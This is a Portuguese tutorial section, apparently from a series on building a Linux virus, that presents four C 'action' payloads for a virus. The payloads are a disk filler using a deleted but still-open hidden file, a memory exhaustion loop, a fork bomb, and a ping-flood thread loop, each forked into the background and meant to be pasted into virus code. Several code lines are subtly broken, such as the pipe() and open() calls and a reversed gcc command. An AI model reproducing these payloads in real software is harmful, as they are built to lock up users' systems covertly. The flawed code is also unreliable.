A ação do vírus foi posta em um tópico separado, pois é muito vasta, depende da criatividade do programador, podendo ir de uma bolinha passeando pela tela a destruição total do HD.
Foram escolhidas quatro ações que não destruirão seu sistema, elas apenas travam o sistema e uma simples reinicialização bastará para que tudo volte a funcionar perfeitamente. Porém não esperaremos chegar a esse ponto.
As quatro ações travam o sistema pois: (I) a primeira enche o HD, (II) a segunda lota a memória, (III) terceira cria vários processos de si mesmo e o (IV) quarto faz muitos pedidos ao host.
Todos os quatro exemplos poderão funcionar como programas a serem testados, porém, ao ser incluído no código do vírus, apenas as funções 
acao serão utilizadas.
Exemplo 1
O primeiro exemplo lota o HD com bagaço: cria um arquivo, mantém aberto e apaga, porém continua enchendo-o de dados. Dessa forma ele fica invisível ao usuário; nem o ls, nem o find poderão encontrá-lo.
O fonte está publicado para download 
aqui.
/* progacao1.c */
#include <stdio.h>
#include <stdlib.h>
acao()
{
   int ifd;
   char *buf=("1","2","3","4","5","6","7","8","9","0");
   long c;
   int desc;
   close(1); /* fecha a saída padrão, o vídeo */
   pipe (desc);  /* com a saída padrão fechado, fazemos com que a saída passe a ser o pipe. O descritor dessa nova saída será armazenados em desc */
   ifd=open("./lotaHD", "w+",0777);   /* abre o arquivo para escrita */
   unlink("./lotaHD"); /* apaga o arquivo */
   while (1)
   {
      write(ifd, buf, sizeof(buf));  /* em um loop infinito grava os dados de buf no arquivo */
      printf ("oi\n");   /* precisamos de um tempo para a gravação, é o tempo que se escreve esta string na saída. Por isso usamos o pipe. Não queremos que o vírus fique escrevendo nada no vídeo */
   }
}
main()
{
   int i;
   i=fork();  /* precisaremos criar um outro processo, pois o vírus terá que continuar sua execução enquanto sua ação é realizada.
          Não poderia ser uma thread, pois mesmo que o programa hospedeiro se encerre, o processo tem que continuar.
          O processo filho que foi criado é quem deve se encarregar da execução da ação, o pai tem que continuar a executar as funcionalidades restantes do vírus */
   if (i==0)
      acao();
}
Para compilá-lo basta fazer:
$ gcc progacao1.c -o progacao1
Para executá-lo:
$ ./progacao1
Use o comando (várias vezes) 
df para ver o espaço em disco diminuindo. Use o comando 
ls ou 
find ./ -name lotaHD para ver se encontra o arquivo.
Mate o processo com 
 ps -ax (busque o número do processo progacao1) e 
kill -9 [núm. processo]
Exemplo 2
O exemplo 2 trava o sistema lotando a memória do micro, alocando o máximo de memória permitido.
O fonte  está publicado para download 
 aqui.
/* progacao2.c */
#include <stdlib.h>
#include <stdio.h>
acao ()
{
   char *f;
   while (1)
   {
      f = malloc (10000);  /* aloca uma memória de 10000 bytes a cada loop e deixa perdida, não irá se importar em recuperar o endereço alocado */
      usleep (10);  /* espera um tempo de 10/1000.000.000 s para o sistema não ficar lento de forma que se perceba uma execução fora do normal */
   }
}
main () /* o main já foi explicado no exemplo 1 */
{
   int i;
   i=fork();
   if (i==0)
      acao();
}
Para compilar: 
$ gcc progacao2.c -o progacao2
E para executar: 
$ ./progacao2
Para ver o uso de memória aumentando use 
ps -axv.
Mate o processo com 
ps -ax (busque o número do processo progacao1) e 
kill -9 [núm. processo].
Exemplo 3
O exemplo 3 também enche a memória, porém desta vez com processos. Esse ataque é difícil de parar, pois não é possível matar os processos individualmente. Eles são criados mais rápidos do que o usuário é capaz de matar, ou seja o "ps + kill" não funcionaria.
Há uma opção, usar 
kill -TERM -1. Esse comando matará qualquer processo que não seja criado pelo root. Com isso, qualquer dado que não tenha sido gravado será perdido.
Versões mais recentes do 
Linux estão imunes a esse caso, pois agora os usuário podem ter apenas um determinado número de processos sendo executado, porém essa regra não serve para o root.
O fonte está publicado para download 
aqui.
/* progacao3.c */
acao ()
{
   while (1)
      fork();
}
main () /* o main já foi explicado no exemplo 1 */
{
   int i;
   i=fork();
   if (i==0)
      acao();
}
Para compilar: 
$ gcc progacao3.c -o progacao3
Para executar: 
$ ./progacao3
Use: 
ps -ax para ver a infinidade de processos criados. Mate o processo com: 
kill -TERM -1.
Porém, não se esqueça que apenas os processos executados como root permanecerão ativos.
Exemplo 4
No exemplo 4 o host irá responder a vários pacotes de ping que serão disparados contra eles, sem perceber que assim irá travar o sistema.
Será executado o ping do sistema, que já é um loop infinito, tendo que ser executado em uma thread para não deixar o nosso loop parado esperando seu término.
O ping do sistema também retorna uma saída, que não queremos que seja mostrada na tela, tendo assim que ser redirecionada para o pipe.
O fonte está publicado para download 
aqui.
/* progacao4.c */
#include <stdio.h>
#include <stdlib.h>
#include <pthread.h>
void ping(char *host); /* para usar a função na thread o cabeçalho da função deve estar declarado */
acao()
{
   int return_thread;
   pthread_t thread;
   while (1)
   {
      return_thread=pthread_create (&thread, NULL, (void *)ping,"ping -s 400 127.0.0.1");   /* criando a thread */
      usleep (10);   /* já explicado no exemplo 2 */
   }
}
main () /* o main já foi explicado no exemplo 1 */
{
   int i;
   i=fork();
   if (i==0)
      acao();
}
void ping (char *host)
{
   int desc;
   close(1);
   pipe (desc);   /* o pipe já foi explicado no exemplo 1 */
   system (host);  /* executa um comando do sistema (ping, ls, rm, mv etc.) */
}
Para compilar: 
$ gcc -o progacao4.c -lpthread progacao4
Para executar: 
$ ./progacao4
Para ver o andamento use: 
ps-ax
Para parar a thread, basta matar o processo pai. Faça-o com: 
$ ps -ax | grep progacao4 (busque o número do processo progacao4) 
E:
$ kill -9 [núm. processo]